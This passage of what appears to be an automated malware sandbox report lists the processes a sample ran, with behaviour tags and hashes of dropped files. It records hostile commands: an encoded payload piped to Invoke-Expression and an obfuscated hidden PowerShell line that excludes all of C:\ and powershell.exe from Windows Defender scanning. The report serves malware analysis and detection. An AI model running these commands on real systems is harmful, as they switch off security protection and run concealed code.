CRudWxsO2FqZWNhaXl5ZHduZmZ0bmp1eG12cHpyY2QgJHhjamluamJjaG5qd3ZzZ2N0cnJhZnR1bHUgKCxbc3RyaW5nW11dICgnJUFCQycpKTs=')) | Invoke-Expression"5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2452
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4168
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C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1152
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD5223bd4ae02766ddc32e6145fd1a29301
SHA1900cfd6526d7e33fb4039a1cc2790ea049bc2c5b
SHA2561022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e
SHA512648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc
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Filesize
1KB
MD5f380d62a69e1ea1237d8ae7153ed2d69
SHA1b6c1bf4c5e995c070d542771a14abc6ae8d4f6be
SHA25672af84db6a35b043619c568d82802c382e3c037ae0d6cc1c36c43d8795672447
SHA5124afba6d4bbb7ee136c643930a807877c517a328377c8b23db019420047911ca72006c5becc393bc510a85444b7ceccaae6adf0d7cabff35b83b46f408ac5f544
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Filesize
1KB
MD5215fa5932830c64a7049274a3716ba58
SHA119b3835fe5674c620bbac144e3b042fa89c54070
SHA2567fcdd9641321e0b0fc76cab08a789125783bbe07d752ca14bc6184c4fd381986
SHA5125a04070b08d0e459949190d8238684e0b2b8a5b7cad16041724e8913b6591944abfb535f849d17d0714c2f9a34910ac8147100978848061fd83600e4b9eb1803
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Filesize
1KB
MD518184afc198d093604108cc8ffd7da02
SHA1ffb1b9c7b6d3c7fa5e5ea1fbd077830059312cf9
SHA256ccf76f2780313a602af07afb739e9c5b00d1f12fd45bd3e1c261f46791f70b78
SHA51247d5dd839c3b7d3a8cfbdcd21d3bfd41c97e6cbe210b69b529b0f47e09078e8a8d9e61a927d84032e4576738f7e3f66fa428b396ce8317a313c7af1a78151e40
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
269KB
MD5953ca19c7ec317a9e61eb0b37e5fba45
SHA1e5b07ef0f6a2a9ca0f9f26c622521861dc6cd786
SHA2562c62df16384cc9b4ef023b57b151fe6711cd03306b7dd1929f773ae1dd77c49d
SHA512fa7c7c8cb9318813de121c28121d8862d78763992276441265bf776041c2cb938f9e087f3ede559a7c096c14f31e2d41c2b72b86f48330efc36665a8f046d7de
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Filesize
275KB
MD58a6ef426368a7e273704a654aee6ee82
SHA1285152199560e1970295e0a5f1eb1e017b2391af
SHA2565d071dc05b819c190e333a894db3b16e96f8531b280618c776dfe0505452d2df
SHA5122a94c18195a591947d934782d1f63b71184d4c389761b61703f3cd18e229f100c38858ddf7c275cb930a0f05dfe6d6dce90f2a9d1ea3ec643ac09483512f00aa
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Filesize
4KB
MD5f7c748da5bf47e1056fb74e1aad52a02
SHA12e5d3e203bf71a18b336fa665bbc899b7e6e1133
SHA2567957f5f89bba3c7372970e3e26af4c30e1960a87580203cd3d78aff6e02c96b2
SHA512061202d48f34fea5e2a0afb7de4a8913b9e91ffe34dc647d566cc2f4b655a4aa74a9a30cf9860faf5b806d863910762227fbb68e0730b6717b32dff3abd612be
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Filesize
663B
MD527581dbbe3c3840ce72f99c21071898a
SHA1898afeb9523df9367c74a01c0dbecf6b637f3cb1
SHA256c5f2bbdebccd52c3eba3c97a251ffa2ccd01f64de764e560f804045fe868d27b
SHA5120b9c4531e8be5b292638cb2cad7fd1b72ed3f1aa20ea027b9a013a8bfb2daaa4a25a40c37423e0924d110bbbbfad4a6e21aa03f4694978d205d7ac9739567d9f
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Filesize
652B
MD5ad758cedce594781757a753c49966382
SHA114192ea1b7570727ae1d00d844cb9d259d6ec19a
SHA256706a9714700ee98251946525faa341f13e17f4f1d0a5a5c3e093f2114223c3fb
SHA5128ade89c3664c15ecd5acf38abebc864b81c2dbfe6c1ab3938b5d1ccaa7ad7dac56f127b5a061be8af4b6815f5f83ec6861aaf7f257532efb7da7033d95af470c
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Filesize
2KB
MD5b8106096972fb511e0cf8b99386ecf93
SHA13003ba3a3681ba16d124d5b2305e6cc59af79b44
SHA25649d2a0f78cbec3d87396b6f52f791c66505edeec87a70d4ce45721288210da02
SHA512218bd9cd17c56d2e138205a197780cc2a5a81bfce7d5439eecb168f61955ba97793e7333425c064f6b6337e1f70c75bd373a7fb502a8c538fb046600018f871e
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Filesize
369B
MD5764a3d7e86f45e31951bff56f11670f1
SHA1dab22380d8cc10f7ce1288388d4c30e911070946
SHA2561fdfe0a2bf23cfb5eb715bc8b77ca316da751cd364b3cecdb2d50c396f09fa53
SHA512e6dbb236f0771ef11d9f38861db446f99e1556ca9f13ad64af867ab740ef55f32f277237a9733edf80b885fde98a1ee2d1b876d7f6e29e7608be6c8c79b174f2